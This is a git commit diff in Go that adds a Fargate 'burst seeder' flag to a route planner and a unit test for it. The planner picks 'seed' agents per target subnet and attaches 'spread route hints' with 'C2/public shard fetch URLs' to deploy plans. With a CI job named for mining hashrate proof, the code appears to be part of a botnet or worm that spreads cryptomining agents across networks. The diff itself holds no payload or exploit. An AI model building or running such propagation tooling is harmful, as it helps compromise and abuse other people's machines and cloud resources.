Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 10:04:11 -07:00
parent 5b5fc7c01c
commit 40d46408ea
14 changed files with 554 additions and 14 deletions

View File

@@ -62,6 +62,7 @@ type Input struct {
TargetSubnets []string
RequestedLane string
ErasureLanesEnabled bool
FargateBurstActive bool
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -93,6 +94,8 @@ type RouteRecommendation struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -112,6 +115,8 @@ type SpreadRouteHint struct {
SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
RouteVia string `json:"route_via,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
@@ -152,7 +157,7 @@ func Build(in Input) *RouteTable {
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
@@ -188,6 +193,9 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled,
SwarmMagnet: rec.SwarmMagnet,
ShardManifestURLs: rec.ShardManifestURLs,
PreferFargateSeeder: rec.PreferFargateSeeder,
}
}
@@ -303,7 +311,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
return out
}
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
@@ -353,6 +361,7 @@ func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []ca
Score: weight,
Reason: reason,
ErasureLanesEnabled: erasureLanes,
PreferFargateSeeder: fargateBurst,
}
}
}

View File

@@ -123,6 +123,25 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
}
}
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.9.8"},
FargateBurstActive: true,
FleetAgents: []FleetAgentSnapshot{
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
},
}
rt := Build(in)
rec, ok := rt.Recommend("10.9.8")
if !ok || !rec.PreferFargateSeeder {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
hint := ToHint(rec)
if hint == nil || !hint.PreferFargateSeeder {
t.Fatalf("hint=%+v", hint)
}
}
func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,